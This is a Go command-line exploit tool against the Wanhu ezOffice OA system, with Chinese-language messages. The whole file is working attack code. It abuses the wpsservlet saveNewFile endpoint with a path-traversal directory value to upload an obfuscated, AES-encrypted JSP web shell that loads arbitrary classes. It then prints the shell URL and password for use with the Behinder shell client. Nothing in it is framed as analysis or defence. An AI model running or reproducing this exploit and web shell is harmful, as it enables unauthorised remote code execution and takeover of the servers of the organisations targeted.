package main

import (
	"crypto/md5"
	"crypto/tls"
	"encoding/hex"
	"fmt"
	"github.com/fatih/color"
	"github.com/hpifu/go-kit/hflag"
	"github.com/imroc/req/v3"
	"github.com/liushuochen/gotable"
	"github.com/thanhpk/randstr"
	"net/url"
	"os"
	"strconv"
	"strings"
	"time"
)

func main() {
	target, proxy := parseFlag()
	ezOfficeWPSServletGetShell(target, proxy)
}
func parseFlag() (target, proxy string) {
	hflag.AddFlag("target", "万户OA-ezOffice系统地址", hflag.Required(), hflag.Shorthand("t"))
	hflag.AddFlag("proxy", "http / socks5 代理地址", hflag.Shorthand("p"))
	if err := hflag.Parse(); err != nil {
		fmt.Printf(hflag.Usage())
		os.Exit(0)
	}
	t := hflag.GetString("target")
	p := hflag.GetString("proxy")
	if p != "" {
		parse, _ := url.Parse(p)
		if parse.Scheme != "http" {
			if parse.Scheme != "socks5" {
				fmt.Println(color.RedString("\n%s", "[~x~]不支持你所提供的代理类型,仅支持http或socks5"))
				os.Exit(0)
			}
		}
	}
	return t, p
}

func reqCli() *req.Client {
	cli := req.C()
	cli.SetAutoDecodeAllContentType()
	cli.SetTLSFingerprintSafari()
	cli.SetTimeout(time.Second * 10)
	cli.TLSClientConfig = &tls.Config{InsecureSkipVerify: true,
		MinVersion: tls.VersionTLS10,
		MaxVersion: tls.VersionTLS13}
	return cli
}

var reqHeaders = map[string]string{
	"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
	"Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
	"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
	"Accept-Encoding": "gzip, deflate",
	"Connection":      "close",
}

func ezOfficeWPSServletGetShell(t, p string) {
	filename := randstr.Hex(8) + ".jsp"
	password := randstr.Hex(12)
	hash := md5.New()
	hash.Write([]byte(password))
	sum := hash.Sum(nil)
	toString := hex.EncodeToString(sum)
	md5Hash0216 := toString[0:16]
	shellStr := "<%! public byte[] ASgAB(String Strings,String k) throws Exception { javax.crypto.Cipher BY7Sr8 = javax.crypto.Cipher.getInstance(\"AES/ECB/PKCS5Padding\");BY7Sr8.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName(\"javax.crypto.spec.SecretKeySpec\").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), \"AES\"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = \"\";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod(\"getDecoder\").invoke(null);bytes =  (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = \"\";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) BY7Sr8.getClass()./*Zc91ln57t4*/getDeclaredMethod/*Zc91ln57t4*/(\"doFinal\", new Class[]{byte[].class}).invoke(BY7Sr8,new Object[]{bytes});return result;} %><%  try {  String K68W9z9 = \"" + md5Hash0216 + "\";  session.putValue(\"u\", K68W9z9);  byte[] ITCN763 = ASgAB (request.getReader().readLine(),K68W9z9);  java./*Zc91ln57t4*/lang./*Zc91ln57t4*/reflect.Method ASgAB = Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod/*Zc91ln57t4*/(\"defineClass\",byte[].class,int/**/.class,int/**/.class);  ASgAB.setAccessible(true);  Class i = (Class)ASgAB.invoke(Thread.currentThread()./*Zc91ln57t4*/getContextClassLoader(), ITCN763 , 0, ITCN763.length);  Object QWv1 = i./*Zc91ln57t4*/newInstance();  QWv1.equals(pageContext); } catch (Exception e) {response.sendError(404);} %>"
	vulURL := strings.Replace(t+"/defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp", "//def", "/def", 1)
	cli := reqCli()
	if p != "" {
		parse, _ := url.Parse(p)
		if parse.Scheme != "http" {
			if parse.Scheme != "socks5" {
				fmt.Println(color.RedString("\n%s", "不支持你提供的代理类型,仅支持http或socks5"))
				return
			}
		}
		cli.SetProxyURL(p)
	}
	for k, v := range reqHeaders {
		cli.SetCommonHeader(k, v)
	}
	cli.SetCommonHeader("Content-Length", strconv.Itoa(len(shellStr)))
	request, err := cli.R().EnableForceMultipart().SetFileBytes("NewFile", filename, []byte(shellStr)).Post(vulURL)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		_ = request.Body.Close()
	}()
	shellURL := strings.Replace(t+"/defaultroot/platform/portal/layout/"+filename, "//de", "/de", 1)
	if request.StatusCode == 200 && request.String() == "" {
		ttt, _ := gotable.Create("Shell连接工具", "Shell连接地址", "Shell连接密码")
		_ = ttt.AddRow([]string{
			"Behinder", shellURL, password,
		})
		fmt.Println(color.RedString("%s", ttt))
		return
	}
	fmt.Println(color.BlueString("\n%s", "撒子嘛~搞了个锤子漏洞"))
}
